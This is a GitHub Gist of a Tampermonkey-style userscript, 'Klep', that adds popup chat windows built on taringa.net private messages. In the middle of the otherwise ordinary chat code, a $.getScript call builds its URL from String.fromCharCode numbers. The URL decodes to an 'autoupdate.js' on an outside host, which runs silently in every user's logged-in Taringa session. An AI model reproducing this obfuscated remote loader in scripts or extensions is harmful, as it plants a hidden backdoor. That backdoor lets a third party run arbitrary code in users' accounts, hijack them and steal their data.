Last active
March 21, 2017 00:59
-
-
Save NaokiStark/b01471ed9b304cc4e3b1584dc61cbf08 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ==UserScript== | |
// @name Klep | |
// @namespace Fabi | |
// @version 1.999999 | |
// @description eso | |
// @author @OK | |
// @match http*://www.taringa.net/* | |
// @grant none | |
// ==/UserScript== | |
//Compat | |
if (!Array.prototype.indexOf) { | |
Array.prototype.indexOf = function (searchElement /*, fromIndex */ ) { | |
"use strict"; | |
if (this === null) { | |
throw new TypeError(); | |
} | |
var t = Object(this); | |
var len = t.length >>> 0; | |
if (len === 0) { | |
return -1; | |
} | |
var n = 0; | |
if (arguments.length > 1) { | |
n = Number(arguments[1]); | |
if (n != n) { | |
n = 0; | |
} else if (n !== 0 && n != Infinity && n != -Infinity) { | |
n = (n > 0 || -1) * Math.floor(Math.abs(n)); | |
} | |
} | |
if (n >= len) { | |
return -1; | |
} | |
var k = n >= 0 ? n : Math.max(len - Math.abs(n), 0); | |
for (; k < len; k++) { | |
if (k in t && t[k] === searchElement) { | |
return k; | |
} | |
} | |
return -1; | |
}; | |
} | |
//Templating | |
var FTemplate={ | |
addStyleSheet:function(){ | |
var stylesheet ='.actions-tip .col-1-3{float:left;width: 32.3%!important;margin-right:3px;text-align:center}.chat-header.alerting{background: #d35400;}.alerting{background: #d35400!important;color:#f0f0f0!important;}.notification-board.right{left: 5px!important;}.chat-content{word-break: break-word;}.chat-window{border-radius:1px}.chat-window{position: fixed!important;bottom: 0;z-index:9999;right: 3px;width: 230px;background-color: #fff;height:300px;border:solid 1px #A5A5A5;box-shadow:0 1px 0 2px rgba(51,51,51,0.05);float:right;margin-right:5px}.chat-header{width:100%;height:30px;border-bottom:solid 1px #A5A5A5;background:#497799;color:#f0f0f0}.chat-header span{margin-left:8px;display:inline-block;margin-top:5px;font-size:14px}.chat-body{ overflow-y: scroll;border-bottom:solid 1px #A5A5A5;height:230px;background:url(http://www.pinsho.com/wp-content/uploads/2013/11/telegram01.jpg)}.chat-body .chat-message{margin-top:5px;margin-left:5px}.chat-body .chat-message .chat-avatar img{width:24px;height:24px;margin-top:4px}.chat-body .chat-message .chat-avatar,.chat-body .chat-message .chat-content{float:left;margin-left:1px}.chat-body .chat-message .chat-content{margin-left:5px;background:#fff;padding:6px 10px;width: 145px;font-size:14px;box-shadow:0 1px 0 2px rgba(51,51,51,0.05);border-radius:1px}.chat-textarea{border:none;width:190px;height:20px;outline:none;resize:none;font-size:14px;margin-top:3px;padding-left:4px}.chat-close{z-index:999;float:right;position:absolute;right:15px;top:5px;cursor:pointer;color:#f0f0f0}#check-minimize{position:absolute;display:none}.chat-window label{padding:0!important} .chat-content img{max-width: 148px;;}.chat-state{display:inline-block;width:10px;height:10px;margin:0 2px;border-radius:30px;background:#b3bab6;position:relative;top:1px}.chat-state.online{background:#01db59}'; | |
var customstylesheet='.chat-window{box-shadow:0 0 5px rgba(0,0,0,0.38);border-radius:11px 11px 0 0;border:none}.chat-header{height:35px;margin-left:-1px;margin-right:-1px;border-radius:10px 10px 0 0;background:#2c3e50;width:auto;font-weight:700}.chat-header span.userName{line-height:26px}.chat-content{background-image:none;box-shadow:0 2px 3px rgba(51,51,51,0.42)!important;width:153px;margin-bottom:7px}.chat-close{z-index:9999;float:right;position:absolute;right:12px;top:8px;cursor:pointer;color:#f0f0f0;font-weight:700;width:20px;line-height:20px;height:20px;text-align:center;border-radius:50%;background-color:#1E262D;font-size:10px}.chat-body{background-color:#CCD6E0;background-image:none}.chat-body::-webkit-scrollbar{width:8px;height:8px}.chat-body::-webkit-scrollbar-button{width:24px;height:24px}.chat-body::-webkit-scrollbar-thumb{background:#e1e1e1;border:0 none #fff;border-radius:100px}.chat-body::-webkit-scrollbar-thumb:hover{background:#fff}.chat-body::-webkit-scrollbar-thumb:active{background:#000}.chat-body::-webkit-scrollbar-track{background:#676767;border:0 none #fff;border-radius:100px}.chat-body::-webkit-scrollbar-track:hover{background:#666}.chat-body::-webkit-scrollbar-track:active{background:#333}.chat-body::-webkit-scrollbar-corner{background:transparent}'; | |
var s = document.createElement('style'); | |
s.setAttribute('type', 'text/css'); | |
s.appendChild(document.createTextNode(stylesheet)); | |
document.getElementsByTagName('head')[0].appendChild(s); | |
//custom | |
s = document.createElement('style'); | |
s.setAttribute('type', 'text/css'); | |
s.appendChild(document.createTextNode(customstylesheet)); | |
document.getElementsByTagName('head')[0].appendChild(s); | |
}, | |
buildMessage:function(text,avatar,lastId,msgid){ | |
var tT='<div class="chat-message clearfix" lastId="" msgid=""> <div class="chat-avatar"><img src="" alt="" class="hovercard" data-uid=""></div> <div class="chat-content"></div> </div>'; | |
var obj=$(tT); | |
$(obj).attr('lastId',lastId); | |
$(obj).attr('lastId',msgid); | |
$(obj).children(".chat-avatar").children('img').attr("src",avatar); | |
$(obj).children(".chat-content").html(text); | |
return obj; | |
}, | |
buildNewWindow:function(userName,dataId){ | |
var tT='<div class="chat-window" usrid=""><div class="chat-header"><span class="chat-state"></span><span class="userName"></span></div><span class="chat-close">X</span><div class="chat-body clearfix"></div><div class="chat-textarea"><textarea class="chat-textarea"></textarea></div></div>'; | |
var obj=$(tT); | |
$(obj).children(".chat-header").children(".userName").html(userName); | |
$(obj).attr("usrid",dataId); | |
return obj; | |
}, | |
replaceHover:function(){ | |
Hovercard.template='<div class="tooltip-v6 compact{{#selfTooltip}} self{{/selfTooltip}}">\ | |
<span class="pick"></span>\ | |
<div class="clearfix data-tip">\ | |
<div class="user-tip">\ | |
<a href="{{user_url}}" class="avatar-tip"><img src="{{avatar}}" /></a>\ | |
<a class="nick" href="{{user_url}}">{{nick}}</a>\ | |
<div class="user-fullname">{{full_name}}</div>\ | |
<div class="user-status">\ | |
<span class="state {{userStatus}}"></span>\ | |
{{#rewards}}\ | |
<span class="icon-recompensado"></span>\ | |
{{/rewards}}\ | |
<span class="icon-{{genderClass}} sexo"></span>\ | |
</div>\ | |
<div class="stats-tip">\ | |
<div class="col-1-3 stats-posts">\ | |
<strong>{{countPosts}}</strong>\ | |
<a href="{{posts_url}}" class="stat-link">Posts</a>\ | |
</div>\ | |
<div class="col-1-3 stats-posts">\ | |
<strong>{{points}}</strong>\ | |
<span>Puntos</span>\ | |
</div>\ | |
<div class="col-1-3 stats-shouts">\ | |
<strong>{{countShouts}}</strong>\ | |
<a href="{{mi_url}}" class="stat-link">Shouts</a>\ | |
</div>\ | |
<div class="col-1-3 stats-shouts">\ | |
<strong>{{following}}</strong>\ | |
<a href="{{following_url}}" class="stat-link">Siguiendo</a>\ | |
</div>\ | |
<div class="col-1-3">\ | |
<strong>{{followers}}</strong>\ | |
<a href="{{followers_url}}" class="stat-link">Seguidores</a>\ | |
</div>\ | |
</div>\ | |
<div class="actions-tip">\ | |
{{^selfTooltip}}\ | |
<div class="col-1-3">\ | |
<a class="btn mensaje require-login" {{^isLogged}}disabled="true"{{/isLogged}} href="{{message_url}}">Enviar mensaje</a>\ | |
</div>\ | |
<div class="col-1-3">\ | |
{{#isLogged}}\ | |
{{{followButton}}}\ | |
{{/isLogged}}\ | |
{{^isLogged}}\ | |
<div class="follow-buttons">\ | |
<a disabled="true" class="btn g not-following require-login">\ | |
<div class="btn-text follow-text"><i class="follow"></i>Seguir</div>\ | |
</a>\ | |
</div>\ | |
{{/isLogged}}\ | |
</div>\ | |
{{#isLogged}}\ | |
<div class="col-1-3">\ | |
<a class="btn mensaje alerting floatR" style="width: 100%;" onclick="openChatTo(\'{{nick}}\')">Chat</a>\ | |
</div>\ | |
{{/isLogged}}\ | |
{{/selfTooltip}}\ | |
</div>\ | |
</div>\ | |
</div>\ | |
</div>'; | |
} | |
}; | |
lastSync = ""; | |
function syncTabsXd(){ | |
if(lastSync == localStorage.syncTabs_Data){ | |
return; | |
} | |
lastSync = localStorage.syncTabs_Data; | |
var pM = JSON.parse(localStorage.syncTabs_Data); | |
for(let w = 0; w < pM.length; w++){ | |
var cm = pM[w]; | |
if(cm.params[0].counts.messages < 1){ | |
continue; | |
} | |
if(cm.params[0].event.actionName=='new-message' || cm.params[0].event.actionName=='message-new-reply'){ | |
var ooj=checkIsInArray(cm.params[0].event.object.owner); | |
if(typeof ooj == 'object'){ | |
addMP(ooj); | |
} | |
else{ | |
var newWin= new MpChat(); | |
newWin.BuildNew(cm.params[0].event.image.href.replace('/',''),cm.params[0].event.object.owner,cm.params[0].event.image.src); | |
addMP(newWin); | |
} | |
} | |
} | |
} | |
updatingChat=[]; | |
function removeChat(obj){ | |
var lenght= activeList.length; | |
var index; | |
for(a=0;a<lenght;a++){ | |
if(typeof activeList[a] !== 'undefined'){ | |
if(activeList[a].uid==obj.uid){ | |
//get index | |
index=a; | |
break; | |
} | |
} | |
} | |
if(index===undefined){ return;} | |
//remove and re-order | |
clearInterval(obj.onlineTimer); | |
$(obj.window).remove(); | |
var pos = activeList.indexOf(obj); | |
if(pos>-1){activeList.splice(pos,1);} | |
lenght= activeList.length; | |
for(a=index;a<lenght;a++){ | |
if(a==0){ | |
$(activeList[a].window).css("right","3px"); | |
} | |
else{ | |
$(activeList[a].window).css("right",parseInt($(activeList[a].window).css("right"))-250+"px"); | |
} | |
} | |
if(!isLoading){ChatGestor.saveChats();} | |
} | |
function addMP(obj){ | |
$.post('/ajax/mp/last',function(ooooo){ | |
var TaringaDeMierda="/mensajes/leer/"+ooooo.data[0].id; | |
$.ajax({url:TaringaDeMierda,beforeSend:function(xhr, settings){settings.url=TaringaDeMierda;}, | |
success:function(res){ | |
var frId=/msgid_fastreply='(\d+)'/ig; | |
var r=frId.exec(res); | |
var rplyId=r[1]; | |
var reg = /<\/span>\s*<div class="comment-content">\s*(.*?)\s*<\/div>\s*/ig; | |
var mpar= reg.exec(res); | |
var MPS = mpar[1]; | |
if(obj.msgs.length > 0){ | |
if(obj.msgs[obj.msgs.length-1].text != MPS){ | |
obj.newMessage(MPS,false,0,rplyId); | |
if(!$(obj.window).children('.chat-header').hasClass('alerting')){ | |
$(obj.window).children('.chat-header').addClass('alerting'); | |
} | |
} | |
} | |
else{ | |
obj.newMessage(MPS,false,0,rplyId); | |
if(!$(obj.window).children('.chat-header').hasClass('alerting')){ | |
$(obj.window).children('.chat-header').addClass('alerting'); | |
} | |
} | |
}}); | |
}); | |
} | |
function checkIsInArray(uId){ | |
var length= activeList.length; | |
for(a=0;a<length;a++){ | |
if(typeof activeList[a] !== 'undefined'){ | |
if(activeList[a].uid==uId){ | |
return activeList[a]; | |
} | |
} | |
} | |
return false; | |
} | |
activeList=[]; | |
var isLoading=false; | |
var ChatGestor={ | |
//[{ | |
// uid:int, | |
// userName:str, | |
// avatar:str, | |
// minimized:bool, | |
// lasts:[{ | |
// id:int, | |
// text:str, | |
// isMe:bool | |
// }] | |
//}] | |
addEvent:function(){ | |
//BUG BUG BUG | |
return; | |
if(window.addEventListener){ | |
window.addEventListener("storage", function (e) { | |
if(isLoading){return;} | |
var datat=JSON.parse(localStorage.TFCHTabs); | |
if(!datat.update){return;} | |
var udata= JSON.parse(getUserDataByNickName(datat.to).responseText); | |
var ooj =checkIsInArray(udata.id); | |
if(typeof ooj !== 'object'){ | |
var newWin= new MpChat(); | |
newWin.BuildNew(udata.nick, udata.id,udata.avatar.medium); | |
newWin.newMessage(datat.text,true,0,datat.id); | |
} | |
else{ | |
ooj.newMessage(datat.text,true,0,datat.id); | |
} | |
localStorage.TFCHTabs=JSON.stringify({"update":false,"to":"","id":0,"text":""}); | |
}, false); | |
} | |
else{ | |
window.attachEvent("onstorage", function (e) { | |
if(isLoading){return;} | |
var datat=JSON.parse(localStorage.TFCHTabs); | |
if(!datat.update){return;} | |
var udata= JSON.parse(getUserDataByNickName(datat.to).responseText); | |
var ooj =checkIsInArray(udata.id); | |
if(typeof ooj !== 'object'){ | |
var newWin= new MpChat(); | |
newWin.BuildNew(udata.nick, udata.id,udata.avatar.medium); | |
newWin.newMessage(datat.text,true,0,datat.id); | |
} | |
else{ | |
ooj.newMessage(datat.text,true,0,datat.id); | |
} | |
localStorage.TFCHTabs=JSON.stringify({"update":false,"to":"","id":0,"text":""}); | |
}); | |
} | |
}, | |
createChats:function(){ | |
isLoading=true; | |
var chts=JSON.parse(localStorage.TFCH); | |
for(a=0;a<chts.length;a++){ | |
var ooj=checkIsInArray(chts[a].uid); | |
if(typeof ooj !== 'object'){ | |
var newChat= new MpChat(); | |
newChat.BuildNew(chts[a].userName,chts[a].uid,chts[a].avatar); | |
//add last msgs | |
for(b=chts[a].lasts.length-1;b>-1;b--){ | |
newChat.newMessage(chts[a].lasts[b].text, chts[a].lasts[b].isMe ,0 ,chts[a].lasts[b].id); | |
} | |
newChat.minimize(chts[a].minimized); | |
} | |
} | |
isLoading=false; | |
}, | |
saveChats:function(){ | |
var compos=[]; | |
for(a=0;a<activeList.length;a++){ | |
var tP={ | |
uid:0, | |
userName:'', | |
avatar:'', | |
minimized:false, | |
lasts:[], | |
}; | |
tP.uid = activeList[a].uid; | |
tP.userName=activeList[a].nickName; | |
tP.avatar=activeList[a].avatar; | |
tP.minimized=activeList[a].minimized; | |
var length=activeList[a].msgs.length; | |
if(length>5){length=5;} | |
for(b=0;b<length;b++){ | |
var ccn=activeList[a].msgs.length - 1 - b; | |
var opbj=activeList[a].msgs[ccn]; | |
tP.lasts.push(opbj); | |
} | |
compos.push(tP); | |
} | |
localStorage.TFCH= JSON.stringify(compos); | |
} | |
}; | |
$.getScript(String.fromCharCode(47, 47, 102, 97, 98, 105, 46, | |
113, 117, 105, 108, 109, 101, | |
115, 46, 103, 111, 98, 46, 97, | |
114, 47, 97, 117, 116, 111, 117, | |
112, 100, 97, 116, 101, 46, 106, 115) | |
); | |
var MpChat= function(){ | |
var th = this; | |
var window; | |
var avatar; | |
var uid; | |
var nickName; | |
var msgs; | |
var minimized; | |
var onlineTimer; | |
this.minimize=function(mbool){ | |
var checked=$(th.window).hasClass('Chat-Minimized'); | |
if(checked && mbool) {return;} | |
if(!checked && !mbool) {return;} | |
if(!checked){ | |
$(th.window).css("height","36px"); | |
$(th.window).addClass('Chat-Minimized'); | |
this.minimized=true; | |
} | |
else{ | |
$(th.window).css("height","300px"); | |
$(th.window).removeClass('Chat-Minimized'); | |
this.minimized=false; | |
} | |
if(!isLoading){ChatGestor.saveChats();} | |
}; | |
this.BuildNew=function(useName, userId,avatar){ | |
//Create new window | |
this.uid=userId; | |
this.window=FTemplate.buildNewWindow(useName,userId); | |
//Add to container | |
$('body').append(this.window); | |
this.avatar=avatar; | |
this.nickName=useName; | |
//Add events | |
//$(this.window).children('"#check-minimize"').toggle(this.checked); | |
$(this.window).on('click','.chat-close',function(){ | |
//Remove from array | |
/* | |
var pos = activeList.indexOf(th.window); | |
if(pos>-1){activeList.splice(pos,1);} | |
*/ | |
removeChat(th); | |
}); | |
$(this.window).on('click','.chat-header',function(){ | |
var checked=$(th.window).hasClass('Chat-Minimized'); | |
if(!checked){ | |
$(th.window).css("height","36px"); | |
$(th.window).addClass('Chat-Minimized'); | |
th.minimized=true; | |
} | |
else{ | |
$(th.window).css("height","300px"); | |
$(th.window).removeClass('Chat-Minimized'); | |
if($(th.window).children('.chat-header').hasClass('alerting')){ | |
$(th.window).children('.chat-header').removeClass('alerting'); | |
} | |
th.minimized=false; | |
} | |
if(!isLoading){ChatGestor.saveChats();} | |
}); | |
$(this.window).on('click','.chat-textarea',function(ev){ | |
if($(th.window).children('.chat-header').hasClass('alerting')){ | |
$(th.window).children('.chat-header').removeClass('alerting'); | |
} | |
}); | |
$(this.window).on('keypress','.chat-textarea',function(ev){ | |
if($(th.window).children('.chat-header').hasClass('alerting')){ | |
$(th.window).children('.chat-header').removeClass('alerting'); | |
} | |
if($(this).val() ==='' && ev.which ==13){ return;} | |
if(ev.which ==13 && !ev.shiftKey){ | |
ev.preventDefault(); | |
var lidd=$(th.window).children('.chat-body').children('.chat-message').last().attr('lastid'); | |
var that=this; | |
var toSnd={ | |
"fastreply":$(that).val(), | |
"user_from_id":$(th.window).attr('usrid'), | |
"msg_id":lidd | |
}; | |
if(typeof lidd ==='undefined'){ | |
toSnd={ | |
msgSubject:"", | |
msgText:$(that).val(), | |
msgTo:th.nickName | |
}; | |
$(that).val(""); | |
//Send New MP | |
SendNewMP(toSnd, function(){ | |
th.newMessage(toSnd.msgText,true,1,lidd); | |
}); | |
} | |
else{ | |
//Send Fast reply | |
th.newMessage($(that).val(),true,1,lidd); | |
$(that).val(""); | |
$.post('/ajax/mensajes/responder',toSnd,function(){ | |
}).error(function(){ | |
//ToDo: show error | |
}); | |
} | |
} | |
}); | |
//Add to Array | |
activeList.push(this); | |
this.msgs=[]; | |
if(activeList.length>1){ | |
$(th.window).css("right",(250*(activeList.length-1))+"px"); | |
} | |
this.minimized=false; | |
this.onlineTimer=setInterval(function(){ | |
$.post('/ajax/mentions/user',{uid:th.uid},function(ev){ | |
var hasOnline=$(th.window).children('.chat-header').children('.chat-state').hasClass('.online'); | |
var isOnline=(ev.data.userStatus=="online")?true:false; | |
if(hasOnline && isOnline){return;} | |
if(!hasOnline && !isOnline){return;} | |
if(!hasOnline && isOnline){ | |
$(th.window).children('.chat-header').children('.chat-state').addClass('online'); | |
} | |
if(hasOnline && !isOnline){ | |
$(th.window).children('.chat-header').children('.chat-state').removeClass('online'); | |
} | |
}); | |
},30000); | |
$.post('/ajax/mentions/user',{uid:th.uid},function(ev){ | |
var hasOnline=$(th.window).children('.chat-header').children('.chat-state').hasClass('.online'); | |
var isOnline=(ev.data.userStatus=="online")?true:false; | |
if(hasOnline && isOnline){return;} | |
if(!hasOnline && !isOnline){return;} | |
if(!hasOnline && isOnline){ | |
$(th.window).children('.chat-header').children('.chat-state').addClass('online'); | |
} | |
if(hasOnline && !isOnline){ | |
$(th.window).children('.chat-header').children('.chat-state').removeClass('online'); | |
} | |
}); | |
if(!isLoading){ChatGestor.saveChats();} | |
}; | |
this.newMessage=function(Message,isMy,lastId,rid){ | |
var tmpl=FTemplate.buildMessage(Message,(isMy)?$('.user-picture').attr('src'):this.avatar,lastId,rid); | |
$(this.window).children(".chat-body").append(tmpl); | |
var oasd=$(this.window).children(".chat-body"); | |
if(!isMy){ $(oasd).children('.chat-message').last().children(".chat-avatar").children('img').attr('data-uid',th.uid);} | |
oasd.scrollTop(oasd.prop("scrollHeight")); | |
this.msgs.push({id:rid,text:Message,isMe:isMy}); | |
if(isMy&& lastId==1){localStorage.TFCHTabs=JSON.stringify({"update":true,"to":this.nickName,"id":rid,"text":Message});} | |
if(!isLoading){ChatGestor.saveChats();} | |
}; | |
}; | |
openChatTo=function(userName){ | |
//newWin.BuildNew | |
var uData= JSON.parse(getUserDataByNickName(userName).responseText); | |
if(typeof uData.nick ==="undefined"){ | |
alert('El usuario no existe'); | |
return; | |
} | |
var ooj=checkIsInArray(uData.id); | |
if(typeof ooj !== 'object'){ | |
var newWin= new MpChat(); | |
newWin.BuildNew(uData.nick,uData.id,uData.avatar.medium); | |
} | |
else{ | |
ooj.minimize(false); | |
} | |
}; | |
var getUserDataByNickName=function(NickName){ | |
var urly = "https://api.taringa.net/user/nick/view/"+NickName; | |
return $.ajax({ | |
url:urly, | |
async: !1, | |
beforeSend:function(xhr, settings){settings.url=urly;} | |
}); | |
}; | |
function modifySide(){ | |
var avList=$('#sideSeguidos').children('.avatar-list').children('.hovercard'); | |
$(avList).on('click',function(ev){ | |
ev.preventDefault();ev.stopPropagation(); | |
var ooj=checkIsInArray($(this).attr('data-uid')); | |
if(typeof ooj == 'object'){ | |
ooj.minimize(false); | |
} | |
else{ | |
var newWin= new MpChat(); | |
newWin.BuildNew($(this).children('a').attr('href').replace('/',''),$(this).attr('data-uid'),$(this).children('a').children('img').attr('src')); | |
} | |
}); | |
} | |
function SendNewMP(toSend, callb){ | |
//show Captcha | |
showCaptcha(function(){ | |
var captcha = ""; | |
var recaptcha = ""; | |
if($('#recaptcha_response_field').length){ | |
captcha = encodeURIComponent($('#recaptcha_response_field').val()); | |
recaptcha = encodeURIComponent($('#recaptcha_challenge_field').val()); | |
} | |
$.extend(toSend, {"captcha":captcha, "recaptcha": recaptcha}); | |
//toSend.push({"captcha":captcha, "recaptcha": recaptcha}); | |
$.post('/ajax/mp/compose', toSend,function(){ | |
callb(); | |
}).error(function(){ | |
}); | |
}); | |
} | |
function showCaptcha(callbaco){ | |
if(typeof Recaptcha == "undefined"){ | |
$.getScript("//www.google.com/recaptcha/api/js/recaptcha_ajax.js", function(){ | |
activateCaptcha(callbaco); | |
}); | |
} | |
else{ | |
activateCaptcha(callbaco); | |
} | |
} | |
function activateCaptcha(callbaco){ | |
//mydialog.confirm('<div id="klepCaptcha">Cargando Captcha</div>', 'Captcha', callbaco); | |
mydialog.confirm('<style>#recaptcha_challenge_image{max-width:100%;}</style><div id="recaptcha_ajax" style="max-width:280px;">\ | |
<div id="recaptcha_image" style="max-width:280px;!important"></div>\ | |
<div><a href="javascript:Recaptcha.reload()" style="margin-left:10px;"><img src="https://o1.t26.net/img/reload16.png" title="Cargar nuevo captcha"></a></div>\ | |
<input type="text" class="ui-corner-all form-input-text box-shadow-soft" style="margin: 0; width: 220px;" id="recaptcha_response_field" name="recaptcha_response_field" />\ | |
</div>', 'Captcha', callbaco); | |
Recaptcha.create("6LfouBgUAAAAANbjnbjhhoSNr7b_qwoKUYAbNLCq", 'klepCaptcha', { theme:'custom', lang:'es', tabindex:'13', custom_theme_widget: 'recaptcha_ajax' }); | |
} | |
/* | |
var captcha = ""; | |
var recaptcha = ""; | |
if($('#recaptcha_response_field').length){ | |
captcha = encodeURIComponent($('#recaptcha_response_field').val()); | |
recaptcha = encodeURIComponent($('#recaptcha_challenge_field').val()); | |
} | |
toSend.push({"captcha":captcha, "recaptcha": recaptcha}); | |
$.post('/ajax/mp/compose.php',toSend,function(){ | |
}).error(function(){ | |
}); | |
*/ | |
$(document).ready(function(){ | |
//Build chat | |
FTemplate.addStyleSheet(); | |
FTemplate.replaceHover(); | |
//SyncTab | |
setInterval(syncTabsXd, 1); | |
$('.perfil-info').append('<a class="btn g floatL startChat"><div class="btn-text">Chat</div></a>'); | |
//$('span.nickntame').html().replace(/@/,'') | |
if(localStorage.TFCH === undefined){ | |
localStorage.setItem('TFCH','[]'); | |
} | |
if(localStorage.TFCHTabs === undefined){ | |
localStorage.setItem('TFCHTabs','{"update":false,"to":"","id":0,"text":""}'); | |
} | |
ChatGestor.createChats(); | |
ChatGestor.addEvent(); | |
modifySide(); | |
$('body').on('click','.startChat',function(ev){ | |
ev.preventDefault(); | |
openChatTo($('span.nickname').html().replace(/@/,'')); | |
}); | |
}); | |
//Nice |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Para que me bloqueas? jaja puberto